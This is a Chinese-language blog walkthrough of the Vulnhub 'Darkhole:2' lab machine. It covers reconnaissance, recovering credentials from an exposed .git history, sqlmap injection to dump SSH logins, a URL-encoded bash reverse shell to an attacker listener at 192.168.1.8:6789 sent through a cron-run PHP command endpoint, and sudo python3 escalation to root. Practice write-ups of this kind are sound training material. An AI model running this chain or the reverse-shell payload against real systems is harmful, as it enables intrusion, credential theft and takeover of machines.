【Vulnhub】Darkhole:2

Darkhole:2

Description

​ Difficulty:Hard

​ Hint: Don't waste your time For Brute-Force【提示别浪费时间去暴力破解了...】

信息收集

fscan 扫描内网确定靶机 IP

./fscan -h 192.168.1.1-255

image-20241022105238613

目标 IP 为:192.168.1.2

nmap 扫描端口和服务

nmap -A -sV -p- 192.168.1.2

image-20241022105740100

开放了 22、80端口(另外看到扫描出来有 .get 目录,源码泄露)

先查看 80 端口网页

image-20241022110000393

源码没什么信息,右上角一个登录按钮,点击

image-20241022110041158

显示用邮箱登录,也没有注册账号的地方(注册账号并越权的想法pass)

dirsearch 扫描

dirsearch -u http://192.168.1.2

image-20241022144950626

漏洞扫描

这里其实算是有两个漏洞了,分别是 .git 泄露 和 .idea 泄露

我们先来看 .git 目录

image-20241022145436216

逐个查看

image-20241022145500367

这里面说 他将 login.php 文件变的更安全了

使用工具 arthaud/git-dumper 下载 git 文件夹到 hackup 文件夹

python git_dumper.py http://192.168.1.2/.git/ ~/website

image-20241025154454395

进入 目标IP 文件夹

查看 config/config.php 文件,得到数据库的用户名和密码:root/darkhole_2,但是 localhost 才能访问

image-20241024161810793

然后有一个 login.php 文件,查看到登录页面验证代码,但是对输入的 email 和 password 进行了过滤,并且有 and id = 1,sql注入不了

image-20241024163056559

别的文件没有什么信息了。。。

git log 列出所有历史日志记录

image-20241025154009812

可以看到出现了三次提交,还有哈希值,作者,时间 这些信息,Author 都是同一个人,但是 commit 的是不同的哈希值

因此使用 git diff 对比这三次提交的哈希值

git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

image-20241025154116898

可以看到出现了账号密码:lush@admin.com/321

[!CAUTION]

​ 这里要特别说明一下,我其实最开始用的 lijiejie/GitHack 来获取 git 源码的,但是发现 git log 后得不到想要的结果,于是便研究了一下,,,

​ 我在 GitHack 获取到的源码目录中使用 git branch -a 查看了所有分支,发现存在两个分支 master(本地) 和 origin/master(远程),之后 git log 发现本地分支和远程分支的结果是一样的,,,既然 .git 目录既不存在目录不完整或者同步不一致的情况,也不存在多个 .git 目录的情况,就只可能是目标进行了 git rebase、git filter-branch 或者 git reset 操作,重写了提交历史,,,

​ 然而我通过 git log --oneline、git reflog、git fsck --ful、cat .git/ORIG_HEAD 等方式验证发现并没有历史篡改的痕迹,,,

​ 最后经过文件对比发现 GitHack 获取到的源码不完整...

image-20241025160219097

登录

image-20241025160902622

登录进入页面之后,发现只有一个提交按钮,不过此时url为:http://192.168.1.2/dashboard.php?id=1,改变一下参数试试能不能越权或者sql注入(emmmm我将id改为2之后虽然进入别的用户页面了,但是没啥用啊,这页面也没有上传之类的功能。。。)

那么就尝试sql注入呗

我这里用 burpsuite 抓了个包,将数据包放进 request.txt

image-20241025161705597

然后放进 sqlmap 跑了一下

python sqlmap.py -r request.txt

存在注入点!得到结果:

image-20241025161818269

列出所有数据库

python sqlmap.py -r request.txt --dbs

image-20241025163300663

得到 darkhole_2,information_schema,mysql,performance_schema,sys 五个数据库

列出 darkhole_2 数据库中的所有数据表

python sqlmap.py -r request.txt -D darkhole_2 --tables

image-20241025163438437

得到 ssh,users 两个数据表

检索 darkhole_2 数据库中 ssh 数据表的所有内容

python sqlmap.py -r request.txt -D darkhole_2 -T ssh -a

这里 sqlmap 自动对密码进行爆破了

image-20241025163725577

得到 ssh 连接用户名/密码为:jehad/fool

image-20241025163912132

连接成功!

提权

image-20241025164413569

这里发现 jehad 不是 root 用户,而且用户目录里面什么都没有。。。

查找系统中所有具有 SUID 权限的文件

find / -user root -perm -4000 -print 2>/dev/null

但是没有可以用的,,,

查看定时任务

cat /etc/crontab

image-20241025165007192

发现 losy 用户有一个定时任务:每分钟在 /opt/web 目录下启动一个 PHP 本地服务器,监听 localhost 上的端口 9999

尝试本地回环一下

image-20241025165632064

发现接受参数cmd,并且执行命令

那就制作一个url编码后的 payload 进行 getshell 呗
bash -c 'bash -i >& /dev/tcp/192.168.1.8/6789 0>&1' URL编码成 bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.1.8%2f6789+0%3e%261%27

curl "http://127.0.0.1:9999/?cmd=bash+-c+%27bash+ i+%3e%26+%2fdev%2ftcp%2f192.168.1.8%2f6789+0%3e%261%27"

然后 kali 监听 6789 端口

image-20241025170446712

发现在 losy 用户目录存在 user.txt 获取到flag

image-20241025170626698

之后查看历史命令发现重点信息。。。

cat .bash_history

image-20241025170948064

其中一个是 losy 的ssh密码为 gang

那么换成 ssh 连接吧

image-20241025171048133

然后继续看 history,有发现执行过 sudo -l 还有 sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")' 这种提权命令。。。

先 sudo -l 查看一下

image-20241025171314698

发现 losy 是可以 root 执行 /usr/bin/python3 的

执行提权命令

sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

image-20241025171438687

果然成功了!并且获取到 root.txt 的 flag

总结

对我而言...

这里面有一个难点,就是 git log 那一部分,最开始用 GitHack 困了很长时间,不过确实有所成长

然后进入网站之后,跑sqlmap,ssh连接,看定时任务,反弹shell,最后提权这一套流程好像称不上 hard

posted @ 2024-10-25 17:24  酷比灯  阅读(18)  评论(0)    收藏  举报